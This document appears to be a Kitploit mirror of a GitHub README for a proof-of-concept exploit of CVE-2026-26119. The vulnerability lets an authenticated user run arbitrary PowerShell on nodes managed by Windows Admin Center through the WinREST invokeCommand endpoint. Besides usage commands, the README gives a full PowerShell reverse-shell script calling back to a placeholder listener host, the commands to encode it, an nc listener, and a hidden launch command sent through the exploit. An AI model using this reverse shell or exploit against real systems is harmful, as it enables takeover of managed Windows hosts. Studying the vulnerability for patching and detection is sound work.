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CVE-2026-26119 — WAC RCE - CVE-2026-26119 Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand. | Kitploit
Tools/GitHubGitHub/r3vpwnx/cve-2026-26119
Vulnerability AnalysisExploitationPenetration Testing
GitHubr3vpwnx/cve-2026-26119

CVE-2026-26119

WAC RCE - CVE-2026-26119 Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand.

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1213919 days agoNot yet reviewed
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CVE-2026-26119 - Windows Admin Center authenticated PowerShell execution (PoC)

Proof-of-concept for CVE-2026-26119, classified by Microsoft as an elevation-of-privilege / improper-authentication vulnerability (CWE-287) in Windows Admin Center (WAC). An authenticated low-privilege WAC user can drive the WinREST PowerShell invokeCommand service to run arbitrary PowerShell on a managed node in the context of the WAC gateway/managed-node service account - executing code at a higher privilege than the user holds.

wac_rce.py performs the full WAC login handshake (fetches the server's RSA JWK, encrypts the credential packet with RSA-OAEP, and completes /api/user/login), then submits a PowerShell script to the node's invokeCommand endpoint and returns its output.

Affected versions

Windows Admin Center from 1809.0 up to (but not including) 2.6.4. Fixed in Windows Admin Center 2.6.4 (released as version 2511, December 2025), per the Microsoft Security Update Guide entry for CVE-2026-26119.

Root cause

An authenticated WAC session can invoke the WinREST PowerShell service (/api/services/WinREST/PowerShell/nodes/<node>/invokeCommand) with an attacker-supplied script. The service evaluates the supplied PowerShell on the target node, so any authenticated user who can reach the invoke endpoint obtains command execution on the managed host without a separate administrative gate.

Requirements

  • Python 3
  • requests and cryptography (pip install requests cryptography)
  • Valid Windows Admin Center credentials
  • Network reachability to the WAC gateway (default port 6600)

Reproduction

WAC_BASE=https://wac.example.local:6600 python3 wac_rce.py <user> <pass> "<powershell command>"

Credentials and target:

InputDescription
argv[1]WAC username
argv[2]WAC password (or set WAC_PASS and omit)
argv[3]PowerShell command to run (default whoami)
WAC_BASE envTarget base URL, e.g. https://wac.example.local:6600
WAC_PASS envPassword, used if not passed positionally

Note: the invoke endpoint path contains the managed node name (nodes/dc in the reference script). Set it to the node name your target WAC instance manages.

Example (command execution):

WAC_BASE=https://wac.example.local:6600 python3 wac_rce.py 'svc.user' 'Passw0rd!' 'whoami'

Reverse shell (PowerShell, UTF-16LE base64-encoded):

cat > revshell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
EOF

cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64
nc -nlvp 4444

WAC_BASE=https://wac.example.local:6600 python3 wac_rce.py 'svc.user' 'Passw0rd!' \
  "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"

Expected result: the command output (for whoami, the managed-node service identity) is printed, or the listener receives a PowerShell session.

Impact

A low-privilege authenticated user executes arbitrary PowerShell on a WAC-managed node (elevation of privilege). Depending on the service account under which WAC runs the command, this can mean full compromise of the managed host.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8 High), per the Microsoft / NVD entry for CVE-2026-26119.

CWE-287 (Improper Authentication); Microsoft classifies the issue as Elevation of Privilege. The practical effect this PoC demonstrates is arbitrary PowerShell execution on the managed node.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-26119
  • Microsoft Security Update Guide: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26119

Disclaimer

For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.

Author

Dilanka Kaushal Hewage (r3vpwnx)

  • Site: https://r3vpwnx.space
  • Contact: [email protected]

License

MIT - see LICENSE.

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